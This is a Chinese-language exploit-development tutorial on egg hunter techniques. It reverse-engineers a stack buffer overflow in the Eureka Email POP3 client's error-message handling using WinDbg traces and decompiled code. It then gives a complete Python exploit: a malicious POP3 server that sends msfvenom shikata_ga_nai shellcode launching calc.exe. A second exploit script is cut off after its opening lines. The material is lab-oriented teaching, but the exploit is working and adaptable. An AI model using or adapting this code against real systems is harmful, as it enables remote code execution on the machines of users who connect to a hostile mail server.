0x00 环境准备

苏格拉底说:人类的幸福和欢乐在于奋斗,而最有价值的是为了理想而奋斗。Part8主要介绍的是egg hunter的一种技术,本质上来讲就是一种执行shellcode的方法,利用SEH、函数API或者系统调用来规避非法地址访问,找到egg后并跳转执行。根据漏洞环境的情况也可以发展为omelet egg hunter,虽然漏洞利用中这两个技术不太常见,但对漏洞利用的思维还是有开阔作用的。

本文在原文的基础上总结了一下egg hunter的特点,对案例漏洞的原理细致分析了一下,把之前unicode部分的example 2的漏洞结合egg hunter也进行了实践利用。本文的实验环境还是win7-en-x86,未开启ASLR和DEP保护。

0x01 原理综述

在搜索内存过程中可能会遇到大量的未分配内存,所以egg hunter应该有以下3个特点:

  1. 健壮性:必须能够搜索无效的内存区域,或者说处理搜索内存过程中遇到的异常。
  2. 足够小:漏洞利用过程中使用egg hunt这项技术的本质要求。
  3. 尽量快:在不影响1、2点的情况下,搜索内存的过程要尽量快。

如果仅使用4字节来辨认egg,那么可能出现收集到egg hunter自身代码的情况,所以一般使用8字节作为egg。

一般来说egg hunter找到egg就会跳转执行,egg部分也会作为无关汇编代码执行,可以减少计算偏移的字节开销。

SEH

  1. 原理:使用call指令获取自定义SEH handler地址并安装SEH链;使用repe scasd来搜索egg并跳转edi执行;自定义handler中越过异常地址(4k大小)并返回ExceptionContinueExecution继续执行。
  2. 优点:由于是系统特性故适用于所有的Windows操作系统;使用ecx作为比较的计数器,可以用来搜索大于8字节的egg。
  3. 缺点:代码量有点大;多次处理异常可能导致速度降低;无法处理不是egg hunter引起的异常。

IsBadReadPtr

  1. 原理:使用IsBadReadPtr函数判断是否可以访问某page,然后借助scasd指令两次判断四字节egg,相符则跳转edi执行。
  2. 优点:代码量较小;如果未来的Windows版本不弃用该API则具有一定的健壮性。
  3. 缺点:需要知道IsBadReadPtr函数的地址,不同操作系统上该地址也不同;如果在验证时某内存地址是合法的,但同时另一个线程释放了该地址,那么egg hunter再去访问时就有可能引发异常。

NtDisplayString

  1. 原理:使用系统调用NtDisplayString来判断某page是否可以访问,scasd比较两次egg跳转edi执行。(Windows系统调用传参方式和Linux略有不同)
  2. 优点:又短又快。
  3. 缺点:NtDisplayString的系统调用号0x43在未来的操作系统上可能会改变。

NtAccessCheckAndAuditAlarm的原理同上。

0x02 漏洞原理

简单写个python脚本监听本地192.168.56.1的110端口,并不断地发送数据。Windbg attach Eureka_Email进程接收数据后发现eip被直接覆盖为AAAA,看来是一个不存在GS的缓冲区溢出,可以直接覆盖eip。

老套路直接在对应栈地址下硬件断点,可以大致追溯函数调用流程:

0:001> ba w1 0012ce14
0:001> bl
 0 e 0012ce14 w 1 0001 (0001)  0:**** 
0:001> g
ModLoad: 6c880000 6c8bc000   C:\Windows\system32\mswsock.dll
ModLoad: 3fd20000 3fd25000   C:\Windows\System32\wshtcpip.dll
Breakpoint 0 hit
eax=000007f7 ebx=0000000a ecx=0012d850 edx=00000041 esi=0012ce14 edi=00000000
eip=77d240a5 esp=0012c998 ebp=0012c9e0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
USER32!wvsprintfA+0x2fb:
77d240a5 46              inc     esi
0:000> kv
ChildEBP RetAddr  Args to Child              
0012c9e0 77d23f5b 0012ca1c 0045f054 0012ca04 USER32!wvsprintfA+0x2fb (FPO: [Non-Fpo])
*** WARNING: Unable to verify checksum for C:\Program Files\Eureka Email\Eureka Email.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Eureka Email\Eureka Email.exe
0012c9f4 0043bdf4 0012ca1c 0045f054 014948d8 USER32!wsprintfA+0x14 (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ca00 014948d8 0012d490 00473678 00475bf8 Eureka_Email+0x3bdf4
0012ca04 0012d490 00473678 00475bf8 00475bfc 0x14948d8
0012ca08 00473678 00475bf8 00475bfc 000601cc 0x12d490
0012d490 41414120 41414141 41414141 41414141 Eureka_Email+0x73678
... ...

由此可以定位在sub_43B680函数中调用了危险函数wsprintfA产生的缓冲区溢出:

char __cdecl sub_43B680(HWND hWnd, HINSTANCE hInstance, int a3, DWORD NumberOfBytesWritten, int a5, LPCVOID a6, int a7, int a8, LPCVOID a9, int a10, int a11, int a12, LPCVOID lpBuffer, LPCVOID a14, int a15, int a16)
{
  char result; // al@2
  void (*v17)(LPSTR, LPCSTR, ...); // esi@11
  LPCVOID v18; // ST4C_4@27
  int v19; // edx@46
  CHAR Text; // [sp+10h] [bp-304h]@6
  CHAR FileName; // [sp+210h] [bp-104h]@11

  if ( dword_47DF50 == 1 )
  {
    result = *(_BYTE *)NumberOfBytesWritten;
    if ( *(_BYTE *)NumberOfBytesWritten != '+'
      || *(_BYTE *)(NumberOfBytesWritten + 1) != 'O'
      || *(_BYTE *)(NumberOfBytesWritten + 2) != 'K' )
    {
      if ( result == '-' && *(_BYTE *)(NumberOfBytesWritten + 1) == 'E' )
      {
        result = 'R';
        if ( *(_BYTE *)(NumberOfBytesWritten + 2) == 'R' && *(_BYTE *)(NumberOfBytesWritten + 3) == 'R' )
        {
          if ( dword_47DF64 )
          {
            wsprintfA(&Text, aQuit);
            strcat(&Text, asc_45F038);
            sub_446490(*(_DWORD *)a3, &Text, strlen(&Text), 0);
            dword_47DF64 = 9;
          }
          else
          {
            sub_43B5F0(hWnd, a3, 0);
          }
          result = dword_47DF54;
          if ( !dword_47DF54 || dword_47DF54 & 1 )
          {
            wsprintfA(&Text, aYourPop3Server, a11 + 72, NumberOfBytesWritten);
            result = MessageBoxA(hWnd, &Text, String2, 0x30u);
          }
        }
      }
    }

根据代码逻辑可以看出,邮件客户端是接收到”-ERR”的响应后直接把后续的报错内容格式化输出至栈上的空间,没有对长度进行限制产生了溢出。其父函数sub_41AB00反汇编代码估计有4585行,感兴趣的同学可以深究一下。

紧接着可以在函数sub_43B680返回处0043BE1B下断点,可以看到返回地址已经被覆盖:

0:000> bp 0043BDF4
0:000> bl
 0 e 0012ce14 w 1 0001 (0001)  0:**** 
 1 e 0043bdf4     0001 (0001)  0:**** Eureka_Email+0x3bdf4
0:000> g
Breakpoint 1 hit
eax=00000400 ebx=0012d490 ecx=5e91fc90 edx=00000041 esi=00475bf8 edi=00473678
eip=0043bdf4 esp=0012c9fc ebp=77d23f47 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Eureka_Email+0x3bdf4:
0043bdf4 8b942428030000  mov     edx,dword ptr [esp+328h] ss:0023:0012cd24=41414141
0:000> bp 0043BE1B
0:000> g
Breakpoint 2 hit
eax=00000000 ebx=000601cc ecx=0000003c edx=0000003b esi=00475bf8 edi=00473678
eip=0043be1b esp=0012cd20 ebp=00475bfc iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
Eureka_Email+0x3be1b:
0043be1b c3              ret
0:000> db esp
0012cd20  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012cd30  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012cd40  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012cd50  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012cd60  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012cd70  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012cd80  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012cd90  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

也可以从头来过,直接在危险函数调用处0043BDF2下断点,观察溢出前后的栈空间情况:

0:001> bp 0043BDF2
*** WARNING: Unable to verify checksum for C:\Program Files\Eureka Email\Eureka Email.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Eureka Email\Eureka Email.exe
0:001> g
ModLoad: 6c880000 6c8bc000   C:\Windows\system32\mswsock.dll
ModLoad: 3fd20000 3fd25000   C:\Windows\System32\wshtcpip.dll
Breakpoint 0 hit
eax=0012ca1c ebx=0012d490 ecx=0012c9b8 edx=014d48d8 esi=00475bf8 edi=00473678
eip=0043bdf2 esp=0012c9fc ebp=77d23f47 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Eureka_Email+0x3bdf2:
0043bdf2 ffd5            call    ebp {USER32!wsprintfA (77d23f47)}
0:000> dd esp L4
0012c9fc  0012ca1c 0045f054 014d48d8 0012d490
0:000> ds esp+8
0012d490  "-ERR AAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d4b0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d4d0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d4f0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d510  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d530  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d550  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d570  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d590  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d5b0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d5d0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d5f0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d610  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d630  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d650  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d670  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d690  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d6b0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d6d0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d6f0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d710  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d730  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d750  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d770  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d790  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d7b0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d7d0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d7f0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d810  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d830  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d850  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d870  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d890  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d8b0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d8d0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d8f0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d910  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d930  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d950  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d970  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d990  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d9b0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d9d0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d9f0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012da10  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012da30  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012da50  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012da70  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012da90  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dab0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dad0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012daf0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012db10  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012db30  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012db50  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012db70  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012db90  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dbb0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dbd0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dbf0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dc10  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dc30  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dc50  "AAAAAAAAAAAAAAAAAAAAA-ERR AAAAAA"
0012dc70  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dc90  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dcb0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dcd0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dcf0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dd10  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dd30  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dd50  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dd70  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dd90  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ddb0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ddd0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ddf0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012de10  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012de30  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012de50  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012de70  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012de90  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012deb0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ded0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012def0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012df10  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012df30  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012df50  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012df70  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012df90  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dfb0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dfd0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dff0  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012e010  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012e030  "AAAAAAAAAAAAAAAAAAAAAAAA"
0:000> ds esp+4
014d48d8  "192.168.56.1"
0:000> ds esp
0045f054  "Your POP3 server had a problem.."
0045f074  "%s said:..    %s"
0:000> ds esp-4
0012ca1c  ".!#"
0:000> !exchain
0012faa0: USER32!_except_handler4+0 (77d7629b)
  CRT scope  0, func:   USER32!UserCallWinProcCheckWow+150 (77d4a435)
0012fb00: USER32!_except_handler4+0 (77d7629b)
  CRT scope  0, filter: USER32!DispatchMessageWorker+146 (77d4b405)
                func:   USER32!DispatchMessageWorker+159 (77d4b418)
0012ff78: Eureka_Email+52eb8 (00452eb8)
0012ffc4: ntdll!_except_handler4+0 (77ede0ed)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (77f37eeb)
                func:   ntdll!__RtlUserThreadStart+63 (77f38260)
Invalid exception stack at ffffffff
0:000> p
eax=00000400 ebx=0012d490 ecx=29a5c1d8 edx=00000041 esi=00475bf8 edi=00473678
eip=0043bdf4 esp=0012c9fc ebp=77d23f47 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Eureka_Email+0x3bdf4:
0043bdf4 8b942428030000  mov     edx,dword ptr [esp+328h] ss:0023:0012cd24=41414141
0:000> dd esp L4
0012c9fc  0012ca1c 0045f054 014d48d8 0012d490
0:000> ds esp-4
0012ca1c  "Your POP3 server had a problem.."
0012ca3c  "192.168.56.1 said:..    -ERR AAA"
0012ca5c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ca7c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ca9c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cabc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cadc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cafc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cb1c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cb3c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cb5c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cb7c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cb9c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cbbc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cbdc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cbfc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cc1c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cc3c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cc5c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cc7c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cc9c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ccbc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ccdc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ccfc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cd1c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cd3c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cd5c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cd7c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cd9c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cdbc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cddc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cdfc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ce1c  ""

细心的同学可能发现了,这里字符串格式化前后长度有所截断,也就是限制为1024个字节了(还是能够覆盖到返回地址),深究原因可以看到wsprintfA文档最后有一句提到了目标缓冲区的长度限制:

To use buffers larger than 1024 bytes, use _snwprintf. For more information, see the documentation for the C run-time library.

这虽然解释了原文中长度截断的问题,但能在data段发现payload还是需要逆向深究一下的。通过直接逆向函数sub_41AB00的上下文或者查找recv函数的交叉引用,可以定位在函数sub_446440中完成对数据的接收:

int __cdecl sub_446440(SOCKET s, int a2, int len)
{
  int v3; // eax@1
  int v4; // esi@1
  int v5; // eax@2

  v3 = len;
  v4 = 0;
  if ( len > 0 )
  {
    while ( 1 )
    {
      v5 = recv(s, (char *)(v4 + a2), v3, 0);
      if ( v5 == -1 )
        break;
      if ( !v5 )
        return v4;
      v4 += v5;
      v3 = len - v4;
      if ( len - v4 <= 0 )
        return v4;
    }
    WSAGetLastError();
  }
  return v4;
}

继续跟踪其父函数sub_41AB00上下文逻辑(4318~4410行),看出其会一次性从服务端接收9600字节的数据,然后截短为3000字节长度的数据传递给漏洞函数sub_43B680

            if ( (unsigned __int16)lParam == 1 )
            {
              v309 = strlen(String) + 1;
              v310 = v309;
              v309 >>= 2;
              qmemcpy(Text, String, 4 * v309);
              v312 = &String[4 * v309];
              v311 = &Text[4 * v309];
              LOBYTE(v309) = v310;
              v313 = dword_459BF4;
              qmemcpy(v311, v312, v309 & 3);
              if ( wParam == v313 )
              {
                v314 = byte_4710F0;
                v315 = &dword_473674;
              }
              else
              {
                v314 = (const char *)&unk_473678;
                v315 = &dword_475BFC;
              }
              v316 = sub_446440(wParam, (int)&v314[*v315], 9600 - *v315) + *v315;
              *v315 = v316;
              v314[v316] = 0;
              while ( *v315 > 0 )
              {
                v317 = 0;
                v318 = *v315 - 1;
                if ( v318 > 0 )
                {
                  do
                  {
                    if ( v314[v317] == '\r' && v314[v317 + 1] == '\n' )
                      break;
                    if ( v317 >= 3000 )
                      break;
                    ++v317;
                  }
                  while ( v317 < v318 );
                }
                if ( v317 >= v318 )
                  break;
                strncpy(v418, v314, v317);
                v319 = *v315 - v317;
                v320 = 0;
                v418[v317] = 0;
                v321 = v319 - 2;
                if ( v319 - 2 > 0 )
                {
                  v322 = &v314[v317 + 2];
                  do
                    v314[v320++] = *v322++;
                  while ( v320 < v321 );
                }
                *v315 = v321;
                if ( wParam == dword_459BF4 )
                {
                  sub_4433C0(
                    hWnd,
                    (int)&dword_459BF4,
                    v418,
                    (int)&unk_47AC10,
                    (int)dword_47B84C,
                    *((_DWORD *)dword_47B868 + 2) + 1204 * *((_DWORD *)dword_47B868 + 4),
                    (int)&::Buffer,
                    (int)dword_47B850,
                    (int)dword_47B840,
                    (int)dword_47B83C);
                  dword_46F760 = 1;
                }
                else
                {
                  sub_43B680(
                    hWnd,
                    hInstance,
                    (int)&s,
                    (DWORD)v418,
                    dword_47B85C,
                    lpBuffer,
                    (int)dword_47B864,
                    (int)&unk_47AB68,
                    &unk_47AC10,
                    (int)dword_47B84C,
                    *((_DWORD *)dword_47B868 + 2) + 1204 * *((_DWORD *)dword_47B868 + 3),
                    (int)dword_47B850,
                    dword_47B840,
                    dword_47B83C,
                    dword_47B848,
                    (int)&::Buffer);
                  dword_46F764 = 1;
                }
              }
            }

可以在函数sub_446440调用结束后00421E15下个断点验证一下:

0:001> bp 00421E15
*** WARNING: Unable to verify checksum for C:\Program Files\Eureka Email\Eureka Email.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Eureka Email\Eureka Email.exe
0:001> g
ModLoad: 6c880000 6c8bc000   C:\Windows\system32\mswsock.dll
ModLoad: 3fd20000 3fd25000   C:\Windows\System32\wshtcpip.dll
Breakpoint 0 hit
eax=00002580 ebx=00000000 ecx=007bfef8 edx=77f070b4 esi=00465e15 edi=00473678
eip=00421e15 esp=0012cd58 ebp=00475bfc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Eureka_Email+0x21e15:
00421e15 8b4d00          mov     ecx,dword ptr [ebp]  ss:0023:00475bfc=00000000
0:000> dd esp L3
0012cd58  000000e8 00473678 00002580
0:000> !address 00473678 

                                     
Failed to map Heaps (error 80004005)
Usage:                  Image
Allocation Base:        00400000
Base Address:           00473000
End Address:            0047c000
Region Size:            00009000
Type:                   01000000  MEM_IMAGE
State:                  00001000  MEM_COMMIT
Protect:                00000004  PAGE_READWRITE
More info:              lmv m Eureka_Email
More info:              !lmi Eureka_Email
More info:              ln 0x473678

0:000> da 00473678 
00473678  "-ERR AAAAAAAAAAAAAAAAAAAAAAAAAAA"
00473698  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
004736b8  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
004736d8  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
004736f8  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00473718  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00473738  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00473758  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00473778  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00473798  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
004737b8  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
004737d8  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0:000> da 00473678+2580-20
00475bd8  "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
00475bf8  ""

因为这个软件没有加载自己的dll,所以原文就覆盖eip为user32.dll中的jmp esp。但实际上data段既然已经有我们的payload了,而且地址已知不变,不考虑DEP的话,覆盖eip为data段的地址会更加通用一些:

import socket

# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x09\x0a\x0d' -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 220 (iteration=0)
# x86/shikata_ga_nai chosen with final size 220
# Successfully added NOP sled from x86/single_byte
# Payload size: 236 bytes
# Final size of python file: 1280 bytes
shellcode =  ""
shellcode += "\x43\x27\x2f\x43\x2f\x99\x4a\x27\xfd\x93\x49\x2f"
shellcode += "\x41\x99\xf5\xfc\xd9\xe8\xd9\x74\x24\xf4\x5a\x33"
shellcode += "\xc9\xbb\x6f\xde\x10\xce\xb1\x31\x83\xc2\x04\x31"
shellcode += "\x5a\x14\x03\x5a\x7b\x3c\xe5\x32\x6b\x42\x06\xcb"
shellcode += "\x6b\x23\x8e\x2e\x5a\x63\xf4\x3b\xcc\x53\x7e\x69"
shellcode += "\xe0\x18\xd2\x9a\x73\x6c\xfb\xad\x34\xdb\xdd\x80"
shellcode += "\xc5\x70\x1d\x82\x45\x8b\x72\x64\x74\x44\x87\x65"
shellcode += "\xb1\xb9\x6a\x37\x6a\xb5\xd9\xa8\x1f\x83\xe1\x43"
shellcode += "\x53\x05\x62\xb7\x23\x24\x43\x66\x38\x7f\x43\x88"
shellcode += "\xed\x0b\xca\x92\xf2\x36\x84\x29\xc0\xcd\x17\xf8"
shellcode += "\x19\x2d\xbb\xc5\x96\xdc\xc5\x02\x10\x3f\xb0\x7a"
shellcode += "\x63\xc2\xc3\xb8\x1e\x18\x41\x5b\xb8\xeb\xf1\x87"
shellcode += "\x39\x3f\x67\x43\x35\xf4\xe3\x0b\x59\x0b\x27\x20"
shellcode += "\x65\x80\xc6\xe7\xec\xd2\xec\x23\xb5\x81\x8d\x72"
shellcode += "\x13\x67\xb1\x65\xfc\xd8\x17\xed\x10\x0c\x2a\xac"
shellcode += "\x7e\xd3\xb8\xca\xcc\xd3\xc2\xd4\x60\xbc\xf3\x5f"
shellcode += "\xef\xbb\x0b\x8a\x54\x33\x46\x97\xfc\xdc\x0f\x4d"
shellcode += "\xbd\x80\xaf\xbb\x81\xbc\x33\x4e\x79\x3b\x2b\x3b"
shellcode += "\x7c\x07\xeb\xd7\x0c\x18\x9e\xd7\xa3\x19\x8b\xbb"
shellcode += "\x22\x8a\x57\x12\xc1\x2a\xfd\x6a"

response = "-ERR "
padding = "\x90" * (711-len(shellcode))
jmp = "\x88\x36\x47\x00"

payload = response + padding + shellcode + jmp

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("192.168.56.1", 110))
s.listen(1)
conn, addr = s.accept()
print "Connected by", addr

counter = 0
while 1:
    counter += 1
    conn.sendall(payload)
    print counter

当然egg hunter也需要尝试一下,jmp esp跳转至egg hunter,寻找到data段的shellcode跳转执行同样可以弹计算器,但似乎NtDisplayString比NtAccessCheckAndAuditAlarm慢太多:

import socket

# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x09\x0a\x0d' -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 220 (iteration=0)
# x86/shikata_ga_nai chosen with final size 220
# Successfully added NOP sled from x86/single_byte
# Payload size: 236 bytes
# Final size of python file: 1280 bytes
shellcode =  ""
shellcode += "\x43\x27\x2f\x43\x2f\x99\x4a\x27\xfd\x93\x49\x2f"
